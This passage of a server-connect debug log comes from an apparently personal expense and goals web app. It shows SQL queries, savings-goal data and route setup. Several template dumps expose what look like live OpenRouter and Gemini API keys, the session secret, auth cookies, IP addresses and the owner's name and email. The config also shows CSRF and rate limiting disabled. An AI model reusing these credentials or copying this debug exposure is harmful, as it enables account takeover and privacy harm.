      '\n' +
      "WHERE tm.status != 'Completed'\n" +
      '\n' +
      'GROUP BY tm.id\n' +
      'ORDER BY tm.created_on DESC;',
    params: [ [Object] ]
  }
}
2026-03-05T11:08:48.290Z server-connect:output restrict: undefined
2026-03-05T11:08:48.290Z server-connect:app Executing action step paged
2026-03-05T11:08:48.290Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object], [Object], [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'target_transaction' },
    primary: 'id',
    joins: [ [Object] ],
    orders: [ [Object] ],
    query: 'select `target_transaction`.`target_id`, `target_transaction`.`credit`, `target_transaction`.`debit`, `target_transaction`.`created_on`, `tm`.`name` from `target_transaction` left join `target_master` as `tm` on `tm`.`id` = `target_transaction`.`target_id` where `tm`.`status` <> ? and (`target_transaction`.`target_id` = ?) order by `target_transaction`.`created_on` DESC limit ?',
    limit: 10,
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    }
  }
}
2026-03-05T11:08:48.294Z server-connect:output list: [
  {
    id: 10,
    name: 'House',
    amount: 4000000,
    description: 'My dream house',
    userid: 1,
    created_on: 2026-02-24T12:06:23.000Z,
    status: 'Not Started',
    category: 'Home',
    total_saved: '0',
    last_transaction_date: null,
    percentage_achieved: '0.00',
    grand_total_saved: '95000',
    grand_total_target: '4300000'
  },
  {
    id: 9,
    name: 'Emergency Fund',
    amount: 100000,
    description: 'Emergency liquid fund',
    userid: 1,
    created_on: 2026-02-24T12:05:59.000Z,
    status: 'Not Started',
    category: 'Home',
    total_saved: '0',
    last_transaction_date: null,
    percentage_achieved: '0.00',
    grand_total_saved: '95000',
    grand_total_target: '4300000'
  },
  {
    id: 8,
    name: 'CPU Build',
    amount: 200000,
    description: 'Build 9070XT pc build',
    userid: 1,
    created_on: 2026-02-24T12:05:14.000Z,
    status: 'Not Started',
    category: 'Electronics',
    total_saved: '95000',
    last_transaction_date: 2026-02-26T18:30:49.000Z,
    percentage_achieved: '47.50',
    grand_total_saved: '95000',
    grand_total_target: '4300000'
  }
]
2026-03-05T11:08:48.295Z server-connect:output list: {
  offset: 0,
  limit: 10,
  total: 2,
  page: {
    offset: { first: 0, prev: 0, next: 0, last: 0 },
    current: 1,
    total: 1
  },
  data: [
    {
      target_id: 8,
      credit: 45000,
      debit: 0,
      created_on: '2026-02-26T18:30:49.000Z',
      name: 'CPU Build'
    },
    {
      target_id: 8,
      credit: 50000,
      debit: 0,
      created_on: '2026-02-24T12:05:14.000Z',
      name: 'CPU Build'
    }
  ]
}
2026-03-05T11:08:48.719Z server-connect:router Serving templateView /house-planner
2026-03-05T11:08:48.719Z server-connect:app Executing action step identify
2026-03-05T11:08:48.719Z server-connect:app options: { provider: 'security' }
2026-03-05T11:08:48.719Z server-connect:output identity: 1
2026-03-05T11:08:48.719Z server-connect:app Executing action step restrict
2026-03-05T11:08:48.720Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-03-05T11:08:48.720Z server-connect:output restrict: undefined
2026-03-05T11:08:48.720Z server-connect:router Render template house-planner
2026-03-05T11:08:48.721Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': { fragment: 'true' },
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'sec-ch-ua-platform': '"Windows"',
    'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36',
    accept: 'text/fragment+html',
    'sec-ch-ua': '"Not:A-Brand";v="99", "Google Chrome";v="145", "Chromium";v="145"',
    'sec-ch-ua-mobile': '?0',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'cors',
    'sec-fetch-dest': 'empty',
    referer: 'https://ems.sanjaychaurasia.xyz/house-planner',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    priority: 'u=1, i',
    cookie: 'security.auth=s%3Ak8PdD3g%2FM9xHVbB4Ath%2BHw%3D%3D.Py79F%2FeXB6G4W%2BS8sfWYsOktNDsUVjRI1v1KKoM7JTCtA47Mp0vF%2FugvburgrVpZXeKOUpSFvdrom409IKebIWI4N0I9kchJq96F5X1b7rKAjKBNa90ikeNjhFk4LYs3AqCwEXMDNOTuv%2BjR8%2BDy3dKP00Bf0HdN1FsMZMXNo98%3D.NL%2F4tUetNYZr8VGG8clQa6ApYrYAGNjHhqK7vGA1IyY; your_r_git.sid=s%3ASvFgLm9GYN9G3-EZ68EXf0Xlnnai3Geg.zx1cRp0mVwZ2VkQQ1FJfQs00%2FzkQPRUgmr4pPJgRTIw',
    'x-forwarded-for': '65.20.70.39',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-03-06T05:11:35.261Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/house-planner',
    QUERY_STRING: 'fragment=true',
    REMOTE_ADDR: '65.20.70.39',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/house-planner',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_SEC_CH-UA-PLATFORM': '"Windows"',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36',
    HTTP_ACCEPT: 'text/fragment+html',
    'HTTP_SEC_CH-UA': '"Not:A-Brand";v="99", "Google Chrome";v="145", "Chromium";v="145"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'cors',
    'HTTP_SEC_FETCH-DEST': 'empty',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/house-planner',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    HTTP_PRIORITY: 'u=1, i',
    HTTP_COOKIE: 'security.auth=s%3Ak8PdD3g%2FM9xHVbB4Ath%2BHw%3D%3D.Py79F%2FeXB6G4W%2BS8sfWYsOktNDsUVjRI1v1KKoM7JTCtA47Mp0vF%2FugvburgrVpZXeKOUpSFvdrom409IKebIWI4N0I9kchJq96F5X1b7rKAjKBNa90ikeNjhFk4LYs3AqCwEXMDNOTuv%2BjR8%2BDy3dKP00Bf0HdN1FsMZMXNo98%3D.NL%2F4tUetNYZr8VGG8clQa6ApYrYAGNjHhqK7vGA1IyY; your_r_git.sid=s%3ASvFgLm9GYN9G3-EZ68EXf0Xlnnai3Geg.zx1cRp0mVwZ2VkQQ1FJfQs00%2FzkQPRUgmr4pPJgRTIw',
    'HTTP_X_FORWARDED-FOR': '65.20.70.39',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1
}
2026-03-05T11:08:48.970Z server-connect:router Serving templateView /
2026-03-05T11:08:48.971Z server-connect:app Executing action step identify
2026-03-05T11:08:48.971Z server-connect:app options: { provider: 'security' }
2026-03-05T11:08:48.971Z server-connect:output identity: 1
2026-03-05T11:08:48.971Z server-connect:app Executing action step restrict
2026-03-05T11:08:48.971Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-03-05T11:08:48.971Z server-connect:output restrict: undefined
2026-03-05T11:08:48.971Z server-connect:app Executing action step restrict
2026-03-05T11:08:48.971Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-03-05T11:08:48.972Z server-connect:output restrict: undefined
2026-03-05T11:08:48.972Z server-connect:router Render template layouts/main
2026-03-05T11:08:48.972Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'sec-ch-ua-platform': '"Windows"',
    'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36',
    'sec-ch-ua': '"Not:A-Brand";v="99", "Google Chrome";v="145", "Chromium";v="145"',
    'sec-ch-ua-mobile': '?0',
    accept: 'image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'no-cors',
    'sec-fetch-dest': 'image',
    referer: 'https://ems.sanjaychaurasia.xyz/house-planner',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'if-none-match': 'W/"10139-Swi8VQVdCWATuD2DH/CVxjJhyck"',
    priority: 'i',
    cookie: 'security.auth=s%3Ak8PdD3g%2FM9xHVbB4Ath%2BHw%3D%3D.Py79F%2FeXB6G4W%2BS8sfWYsOktNDsUVjRI1v1KKoM7JTCtA47Mp0vF%2FugvburgrVpZXeKOUpSFvdrom409IKebIWI4N0I9kchJq96F5X1b7rKAjKBNa90ikeNjhFk4LYs3AqCwEXMDNOTuv%2BjR8%2BDy3dKP00Bf0HdN1FsMZMXNo98%3D.NL%2F4tUetNYZr8VGG8clQa6ApYrYAGNjHhqK7vGA1IyY; your_r_git.sid=s%3ASvFgLm9GYN9G3-EZ68EXf0Xlnnai3Geg.zx1cRp0mVwZ2VkQQ1FJfQs00%2FzkQPRUgmr4pPJgRTIw',
    'x-forwarded-for': '65.20.70.39',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-03-06T05:11:35.261Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '65.20.70.39',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_SEC_CH-UA-PLATFORM': '"Windows"',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36',
    'HTTP_SEC_CH-UA': '"Not:A-Brand";v="99", "Google Chrome";v="145", "Chromium";v="145"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    HTTP_ACCEPT: 'image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'no-cors',
    'HTTP_SEC_FETCH-DEST': 'image',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/house-planner',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'HTTP_IF_NONE-MATCH': 'W/"10139-Swi8VQVdCWATuD2DH/CVxjJhyck"',
    HTTP_PRIORITY: 'i',
    HTTP_COOKIE: 'security.auth=s%3Ak8PdD3g%2FM9xHVbB4Ath%2BHw%3D%3D.Py79F%2FeXB6G4W%2BS8sfWYsOktNDsUVjRI1v1KKoM7JTCtA47Mp0vF%2FugvburgrVpZXeKOUpSFvdrom409IKebIWI4N0I9kchJq96F5X1b7rKAjKBNa90ikeNjhFk4LYs3AqCwEXMDNOTuv%2BjR8%2BDy3dKP00Bf0HdN1FsMZMXNo98%3D.NL%2F4tUetNYZr8VGG8clQa6ApYrYAGNjHhqK7vGA1IyY; your_r_git.sid=s%3ASvFgLm9GYN9G3-EZ68EXf0Xlnnai3Geg.zx1cRp0mVwZ2VkQQ1FJfQs00%2FzkQPRUgmr4pPJgRTIw',
    'HTTP_X_FORWARDED-FOR': '65.20.70.39',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1,
  content: '/index'
}
2026-03-05T11:09:42.975Z server-connect:setup:config {
  port: 3001,
  debug: true,
  secret: '4lxi5FVQCKIgnFg',
  tmpFolder: '/home/tocyxovu/ems/tmp',
  abortOnDisconnect: false,
  createApiRoutes: true,
  compression: true,
  redis: false,
  cron: false,
  static: { index: false },
  session: {
    name: 'your_r_git.sid',
    resave: false,
    saveUninitialized: false,
    store: { '$type': 'database', ttl: 86400, knex: 'db' }
  },
  cors: { origin: false, methods: 'GET,POST', credentials: true },
  csrf: { enabled: false, exclude: 'GET,HEAD,OPTIONS' },
  rateLimit: {
    enabled: false,
    duration: 60,
    points: 100,
    private: { provider: '', duration: 60, points: 1000 }
  },
  globals: {},
  rateLimiter: {},
  mail: {},
  auth: {},
  oauth: {},
  db: {},
  s3: {},
  jwt: {},
  stripe: {},
  env: {}
}
2026-03-05T11:09:45.020Z server-connect:setup:session init session store { '$type': 'database', ttl: 86400, knex: 'db' }
2026-03-05T11:09:45.881Z server-connect:setup:upload Upload middleware configured.
2026-03-05T11:09:45.881Z server-connect:secure CSRF Protection initialized
2026-03-05T11:09:45.886Z server-connect:setup:routes Api route /api/access-control/check-login(.json)? created
2026-03-05T11:09:45.888Z server-connect:setup:routes Api route /api/access-control/login(.json)? created
2026-03-05T11:09:45.891Z server-connect:setup:routes Api route /api/access-control/logout(.json)? created
2026-03-05T11:09:45.891Z server-connect:setup:routes Api route /api/access-control/user-info(.json)? created
2026-03-05T11:09:45.901Z server-connect:setup:routes Api route /api/diecast/delete-image(.json)? created
2026-03-05T11:09:45.902Z server-connect:setup:routes Api route /api/diecast/get-filters(.json)? created
2026-03-05T11:09:45.915Z server-connect:setup:routes Api route /api/diecast/list(.json)? created
2026-03-05T11:09:45.929Z server-connect:setup:routes Api route /api/diecast/manage(.json)? created
2026-03-05T11:09:45.932Z server-connect:setup:routes Api route /api/emis/emi-list(.json)? created
2026-03-05T11:09:45.935Z server-connect:setup:routes Api route /api/emis/get-loans(.json)? created
2026-03-05T11:09:45.939Z server-connect:setup:routes Api route /api/emis/mark-emi-paid(.json)? created
2026-03-05T11:09:45.944Z server-connect:setup:routes Api route /api/expense/last-invoice(.json)? created
2026-03-05T11:09:45.948Z server-connect:setup:routes Api route /api/expense/list(.json)? created
2026-03-05T11:09:45.958Z server-connect:setup:routes Api route /api/expense/manage(.json)? created
2026-03-05T11:09:45.961Z server-connect:setup:routes Api route /api/gemini/calculate-calorie(.json)? created
2026-03-05T11:09:46.031Z server-connect:setup:routes Api route /api/gemini/calculate-health-summary(.json)? created
2026-03-05T11:09:46.031Z server-connect:setup:routes Api route /api/gemini/get-health-summary(.json)? created
2026-03-05T11:09:46.038Z server-connect:setup:routes Api route /api/goals/list(.json)? created
2026-03-05T11:09:46.043Z server-connect:setup:routes Api route /api/goals/manage(.json)? created
2026-03-05T11:09:46.046Z server-connect:setup:routes Api route /api/goals/recent_transaction(.json)? created
2026-03-05T11:09:46.047Z server-connect:setup:routes Api route /api/goals/transaction(.json)? created
2026-03-05T11:09:46.055Z server-connect:setup:routes Api route /api/masters/collections/collection-category(.json)? created
2026-03-05T11:09:46.057Z server-connect:setup:routes Api route /api/masters/collections/delete(.json)? created
2026-03-05T11:09:46.063Z server-connect:setup:routes Api route /api/masters/collections/get-collections(.json)? created
2026-03-05T11:09:46.066Z server-connect:setup:routes Api route /api/masters/collections/list(.json)? created
2026-03-05T11:09:46.069Z server-connect:setup:routes Api route /api/masters/collections/manage(.json)? created
2026-03-05T11:09:46.071Z server-connect:setup:routes Api route /api/masters/get-items(.json)? created
2026-03-05T11:09:46.073Z server-connect:setup:routes Api route /api/masters/get-tags(.json)? created
2026-03-05T11:09:46.079Z server-connect:setup:routes Api route /api/reports/diecast/by-manufacturer(.json)? created
2026-03-05T11:09:46.080Z server-connect:setup:routes Api route /api/reports/diecast/by-series(.json)? created
2026-03-05T11:09:46.083Z server-connect:setup:routes Api route /api/reports/diecast/by-vehicle-brand(.json)? created
2026-03-05T11:09:46.084Z server-connect:setup:routes Api route /api/test(.json)? created
2026-03-05T11:09:46.642Z server-connect:router Serving templateView /todo
2026-03-05T11:09:46.647Z server-connect:app Executing action step identify
2026-03-05T11:09:46.647Z server-connect:app options: { provider: 'security' }
2026-03-05T11:09:46.650Z server-connect:output identity: 1
2026-03-05T11:09:46.650Z server-connect:app Executing action step restrict
2026-03-05T11:09:46.650Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-03-05T11:09:46.653Z server-connect:output restrict: undefined
2026-03-05T11:09:46.653Z server-connect:router Render template layouts/main
2026-03-05T11:09:46.654Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'cache-control': 'max-age=0',
    'sec-ch-ua': '"Not:A-Brand";v="99", "Google Chrome";v="145", "Chromium";v="145"',
    'sec-ch-ua-mobile': '?1',
    'sec-ch-ua-platform': '"Android"',
    'upgrade-insecure-requests': '1',
    'user-agent': 'Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Mobile Safari/537.36',
    accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'service-worker-navigation-preload': 'true',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'navigate',
    'sec-fetch-user': '?1',
    'sec-fetch-dest': 'document',
    referer: 'https://ems.sanjaychaurasia.xyz/login',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    priority: 'u=0, i',
    cookie: 'security.auth=s%3AKzAsaMKLDypDcf6kXmSVfQ%3D%3D.3c%2FdFCb4KT1s%2Bqrbla3bWOn1H8M%2BrY%2BO6JyMPLr0qDSXEdKCsYweQFk1G%2B9AdCYRU0dYvd6hQHo3jxHpFEJ81ubeJby8hgNq2ZXjf4vVIWCB%2BSUoImEsKhLi9zf0pPvrldqOiZ27wbawHAqT5sZqBRNSjb0VV0OECAtAON%2BHWO8%3D.fptSa%2FulTq1TzMijMbBA0vZnMIOnz75N72IKXfa4VJg; your_r_git.sid=s%3AeSGnQjfhNjFGxQRjND9DmJz2CVKL5dKw.KHrW7HBSKd2En2oe7RAFC%2B010MvCnwy5lJurV55b4ZQ',
    'x-forwarded-for': '49.43.181.210',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-03-06T11:07:52.177Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/todo',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '49.43.181.210',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/todo',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    HTTP_CACHE_CONTROL: 'max-age=0',
    'HTTP_SEC_CH-UA': '"Not:A-Brand";v="99", "Google Chrome";v="145", "Chromium";v="145"',
    'HTTP_SEC_CH-UA-MOBILE': '?1',
    'HTTP_SEC_CH-UA-PLATFORM': '"Android"',
    'HTTP_UPGRADE_INSECURE-REQUESTS': '1',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Mobile Safari/537.36',
    HTTP_ACCEPT: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'HTTP_SERVICE_WORKER-NAVIGATION-PRELOAD': 'true',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'navigate',
    'HTTP_SEC_FETCH-USER': '?1',
    'HTTP_SEC_FETCH-DEST': 'document',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/login',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    HTTP_PRIORITY: 'u=0, i',
    HTTP_COOKIE: 'security.auth=s%3AKzAsaMKLDypDcf6kXmSVfQ%3D%3D.3c%2FdFCb4KT1s%2Bqrbla3bWOn1H8M%2BrY%2BO6JyMPLr0qDSXEdKCsYweQFk1G%2B9AdCYRU0dYvd6hQHo3jxHpFEJ81ubeJby8hgNq2ZXjf4vVIWCB%2BSUoImEsKhLi9zf0pPvrldqOiZ27wbawHAqT5sZqBRNSjb0VV0OECAtAON%2BHWO8%3D.fptSa%2FulTq1TzMijMbBA0vZnMIOnz75N72IKXfa4VJg; your_r_git.sid=s%3AeSGnQjfhNjFGxQRjND9DmJz2CVKL5dKw.KHrW7HBSKd2En2oe7RAFC%2B010MvCnwy5lJurV55b4ZQ',
    'HTTP_X_FORWARDED-FOR': '49.43.181.210',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1,
  content: '/todo'
}
2026-03-05T11:09:47.992Z server-connect:router Serving serverConnect /api/masters/get-items
2026-03-05T11:09:47.993Z server-connect:router Serving serverConnect /api/access-control/user-info
2026-03-05T11:09:47.994Z server-connect:app Executing action step identify
2026-03-05T11:09:47.994Z server-connect:app options: { provider: 'security' }
2026-03-05T11:09:47.994Z server-connect:output identity: 1
2026-03-05T11:09:47.994Z server-connect:app Executing action step restrict
2026-03-05T11:09:47.994Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-03-05T11:09:47.995Z server-connect:app Executing action step identify
2026-03-05T11:09:47.995Z server-connect:app options: { provider: 'security' }
2026-03-05T11:09:47.995Z server-connect:output identity: 1
2026-03-05T11:09:47.995Z server-connect:app Executing action step restrict
2026-03-05T11:09:47.995Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-03-05T11:09:47.996Z server-connect:output restrict: undefined
2026-03-05T11:09:47.997Z server-connect:app Executing action step select
2026-03-05T11:09:47.997Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object], [Object] ],
    params: [],
    table: { name: 'sub_categories' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select `sub_categories`.`subcategory_name` as `item_name`, `sub_categories`.`id` as `item_id`, `categories`.`category_name` from `sub_categories` inner join `categories` on `categories`.`id` = `sub_categories`.`category_id`'
  }
}
2026-03-05T11:09:48.000Z server-connect:output restrict: undefined
2026-03-05T11:09:48.000Z server-connect:app Executing action step single
2026-03-05T11:09:48.000Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'select',
    columns: [ [Object], [Object], [Object], [Object] ],
    params: [],
    table: { name: 'user' },
    primary: 'id',
    joins: [],
    query: 'select `first_name`, `last_name`, `email`, `id` from `user`'
  }
}
2026-03-05T11:09:48.002Z server-connect:output user_info: {
  first_name: 'Sanjay',
  last_name: 'Kumar',
  email: 'engineer.sanjay20@gmail.com',
  id: 1
}
2026-03-05T11:09:48.006Z server-connect:output list: [
  { item_name: 'Clothing', item_id: 27, category_name: 'Apparel' },
  { item_name: 'Fashion', item_id: 28, category_name: 'Apparel' },
  { item_name: 'Shoes', item_id: 29, category_name: 'Apparel' },
  { item_name: 'Kurta Mens', item_id: 154, category_name: 'Apparel' },
  { item_name: 'Baby Towel', item_id: 161, category_name: 'Apparel' },
  { item_name: 'Bra', item_id: 178, category_name: 'Apparel' },
  { item_name: 'Dress', item_id: 188, category_name: 'Apparel' },
  { item_name: 'Stole', item_id: 193, category_name: 'Apparel' },
  { item_name: 'Leggings', item_id: 206, category_name: 'Apparel' },
  {
    item_name: 'Jockey Thermal Top',
    item_id: 208,
